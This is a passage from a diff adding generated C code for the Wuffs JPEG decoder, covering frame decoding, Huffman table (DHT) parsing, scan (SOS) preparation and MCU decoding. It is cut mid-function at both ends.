((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_pixfmt = 536870920u; ++ if (self->private_impl.f_num_components > 1u) { ++ v_pixfmt = 2415954056u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(v_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_swizzle_immediately = false; ++ if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { ++ if (self->private_impl.f_sof_marker >= 194u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ self->private_impl.f_swizzle_immediately = self->private_impl.f_use_lower_quality; ++ self->private_impl.f_swizzle_immediately_status = wuffs_base__make_status(NULL); ++ } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { ++ wuffs_private_impl__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); ++ } ++ if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); ++ } ++ while (true) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 == 255u) { ++ break; ++ } ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 255u) { ++ v_marker = v_c8; ++ break; ++ } ++ } ++ if (v_marker == 0u) { ++ continue; ++ } else if ((208u <= v_marker) && (v_marker <= 217u)) { ++ if (v_marker <= 215u) { ++ continue; ++ } ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ self->private_impl.f_payload_length = t_2; ++ } ++ if (self->private_impl.f_payload_length < 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 2u; ++ } ++ if (v_marker < 192u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else if (v_marker < 208u) { ++ if (v_marker == 196u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_jpeg__decoder__decode_dht(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 200u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } else if (v_marker < 224u) { ++ if (v_marker < 217u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } else if (v_marker == 217u) { ++ break; ++ } else if (v_marker == 218u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_jpeg__decoder__decode_sos(self, a_dst, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 219u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 221u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__decode_dri(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } else if (v_marker < 240u) { ++ } else { ++ if (v_marker == 254u) { ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_payload_length = 0u; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_marker = v_marker; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dht ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dht( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_tc = 0; ++ uint8_t v_th = 0; ++ uint8_t v_tc4_th = 0; ++ uint32_t v_working_total_count = 0; ++ uint32_t v_total_count = 0; ++ uint32_t v_i = 0; ++ bool v_failed = false; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dht; ++ if (coro_susp_point) { ++ v_tc4_th = self->private_data.s_decode_dht.v_tc4_th; ++ v_total_count = self->private_data.s_decode_dht.v_total_count; ++ v_i = self->private_data.s_decode_dht.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_sof_marker == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ while (self->private_impl.f_payload_length > 0u) { ++ if (self->private_impl.f_payload_length < 17u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 17u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_tc = ((uint8_t)(v_c8 >> 4u)); ++ v_th = ((uint8_t)(v_c8 & 15u)); ++ v_tc4_th = ((uint8_t)(((uint8_t)(((uint8_t)(v_tc * 4u)) | v_th)))); ++ if ((self->private_impl.f_sof_marker == 192u) && (((uint8_t)(v_tc4_th & 3u)) > 1u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_data.f_dht_temp_counts[v_i] = t_1; ++ } ++ v_i += 1u; ++ } ++ v_working_total_count = 0u; ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); ++ v_i += 1u; ++ } ++ if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_total_count = v_working_total_count; ++ if (self->private_impl.f_payload_length < v_total_count) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= v_total_count; ++ v_i = 0u; ++ while (v_i < v_total_count) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; ++ } ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; ++ v_i += 1u; ++ } ++ if (((uint8_t)(v_tc4_th & 4u)) == 0u) { ++ v_i = 0u; ++ while (v_i < v_total_count) { ++ if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ v_i += 1u; ++ } ++ } ++ v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); ++ if (v_failed) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } ++ self->private_impl.f_seen_dht[v_tc4_th] = true; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dht = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dht = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_dht.v_tc4_th = v_tc4_th; ++ self->private_data.s_decode_dht.v_total_count = v_total_count; ++ self->private_data.s_decode_dht.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.calculate_huff_tables ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_huff_tables( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th, ++ uint32_t a_total_count) { ++ uint32_t v_i = 0; ++ uint8_t v_j = 0; ++ uint8_t v_k = 0; ++ uint32_t v_bit_length_minus_one = 0; ++ uint8_t v_bit_length = 0; ++ uint32_t v_bit_string = 0; ++ uint32_t v_slow = 0; ++ uint8_t v_prefix = 0; ++ uint16_t v_fast = 0; ++ uint32_t v_reps = 0; ++ ++ v_i = 0u; ++ v_k = 0u; ++ v_bit_length_minus_one = 0u; ++ while (v_i < a_total_count) { ++ while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { ++ v_k = 0u; ++ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); ++ v_i += 1u; ++ } ++ v_bit_length = 0u; ++ v_bit_string = 0u; ++ v_i = 0u; ++ while (v_i < a_total_count) { ++ while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { ++ if (v_bit_length >= 16u) { ++ return true; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_bit_length += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bit_string <<= 1u; ++ } ++ self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); ++ v_bit_string += 1u; ++ if ((v_bit_string >> v_bit_length) > 0u) { ++ return true; ++ } ++ v_i += 1u; ++ } ++ v_k = 0u; ++ v_bit_length_minus_one = 0u; ++ while (true) { ++ if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { ++ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; ++ } else { ++ v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); ++ } ++ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); ++ if (v_bit_length_minus_one == 0u) { ++ break; ++ } ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; ++ v_i += 1u; ++ } ++ v_j = 0u; ++ v_bit_length_minus_one = 0u; ++ while (v_bit_length_minus_one < 8u) { ++ v_k = 0u; ++ while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { ++ v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); ++ v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); ++ v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); ++ while (v_reps > 0u) { ++ self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prefix += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_reps -= 1u; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_k += 1u; ++ v_j += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_bit_length_minus_one += 1u; ++ } ++ return false; ++} ++ ++// -------- func jpeg.decoder.decode_sos ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sos( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_my = 0; ++ uint32_t v_mx = 0; ++ uint32_t v_decode_mcu_result = 0; ++ uint32_t v_bitstream_length = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_sos; ++ if (coro_susp_point) { ++ v_my = self->private_data.s_decode_sos.v_my; ++ v_mx = self->private_data.s_decode_sos.v_mx; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_scan_count >= 32u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); ++ goto exit; ++ } else if ((self->private_impl.f_scan_count > 0u) && ! self->private_impl.f_expect_multiple_scans) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_scan_count); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__prepare_scan(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_next_restart_marker = 0u; ++ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; ++ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; ++ self->private_impl.f_eob_run = 0u; ++ self->private_impl.f_bitstream_bits = 0u; ++ self->private_impl.f_bitstream_n_bits = 0u; ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ self->private_impl.f_bitstream_padding = 12345u; ++ wuffs_jpeg__decoder__fill_bitstream(self, a_src); ++ v_my = 0u; ++ while (v_my < self->private_impl.f_scan_height_in_mcus) { ++ v_mx = 0u; ++ while (v_mx < self->private_impl.f_scan_width_in_mcus) { ++ self->private_impl.f_mcu_current_block = 0u; ++ self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); ++ } ++ while (true) { ++ v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, ++ a_dst, ++ a_workbuf, ++ v_mx, ++ v_my); ++ if (v_decode_mcu_result == 0u) { ++ break; ++ } else if (v_decode_mcu_result == 1u) { ++ } else if (v_decode_mcu_result == 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); ++ goto exit; ++ } else { ++ status = self->private_impl.f_swizzle_immediately_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); ++ wuffs_jpeg__decoder__fill_bitstream(self, a_src); ++ if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { ++ break; ++ } else if (self->private_impl.f_bitstream_padding == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { ++ if (self->private_impl.f_bitstream_wi < 1024u) { ++ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); ++ self->private_impl.f_bitstream_wi += 264u; ++ self->private_impl.f_bitstream_is_closed = true; ++ } ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ } ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); ++ } ++ if (self->private_impl.f_restarts_remaining > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_restarts_remaining -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ if (self->private_impl.f_restarts_remaining == 0u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; ++ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; ++ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; ++ self->private_impl.f_eob_run = 0u; ++ self->private_impl.f_bitstream_bits = 0u; ++ self->private_impl.f_bitstream_n_bits = 0u; ++ self->private_impl.f_bitstream_ri = 0u; ++ self->private_impl.f_bitstream_wi = 0u; ++ self->private_impl.f_bitstream_padding = 12345u; ++ } ++ } ++ v_mx += 1u; ++ } ++ v_my += 1u; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); ++ ++ ok: ++ self->private_impl.p_decode_sos = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_sos = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_sos.v_my = v_my; ++ self->private_data.s_decode_sos.v_mx = v_mx; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func jpeg.decoder.prepare_scan ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__prepare_scan( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_j_max_incl = 0; ++ bool v_failed = false; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_prepare_scan; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_prepare_scan.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if ((v_c8 < 1u) || (v_c8 > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_num_components = ((uint32_t)(v_c8)); ++ if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_scan_num_components) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_j = 0u; ++ while (true) { ++ if (v_j >= self->private_impl.f_num_components) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ if (v_c8 == self->private_impl.f_components_c[v_j]) { ++ if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); ++ goto exit; ++ } ++ self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); ++ break; ++ } ++ v_j += 1u; ++ } ++ v_j = 0u; ++ while (v_j < v_i) { ++ if (self->private_impl.f_scan_comps_cselector[v_i] == self->private_impl.f_scan_comps_cselector[v_j]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ v_j += 1u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if ((((uint8_t)(v_c8 >> 4u)) > 3u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ self->private_impl.f_scan_comps_td[v_i] = ((uint8_t)(v_c8 >> 4u)); ++ self->private_impl.f_scan_comps_ta[v_i] = ((uint8_t)(v_c8 & 15u)); ++ if (self->private_impl.f_sof_marker == 192u) { ++ if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_scan_count == 0u) { ++ self->private_impl.f_expect_multiple_scans = ((self->private_impl.f_sof_marker >= 194u) || (self->private_impl.f_scan_num_components < self->private_impl.f_num_components)); ++ } ++ if (self->private_impl.f_sof_marker < 194u) { ++ self->private_data.s_prepare_scan.scratch = 3u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_prepare_scan.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_prepare_scan.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_prepare_scan.scratch; ++ self->private_impl.f_scan_ss = 0u; ++ self->private_impl.f_scan_se = 63u; ++ self->private_impl.f_scan_ah = 0u; 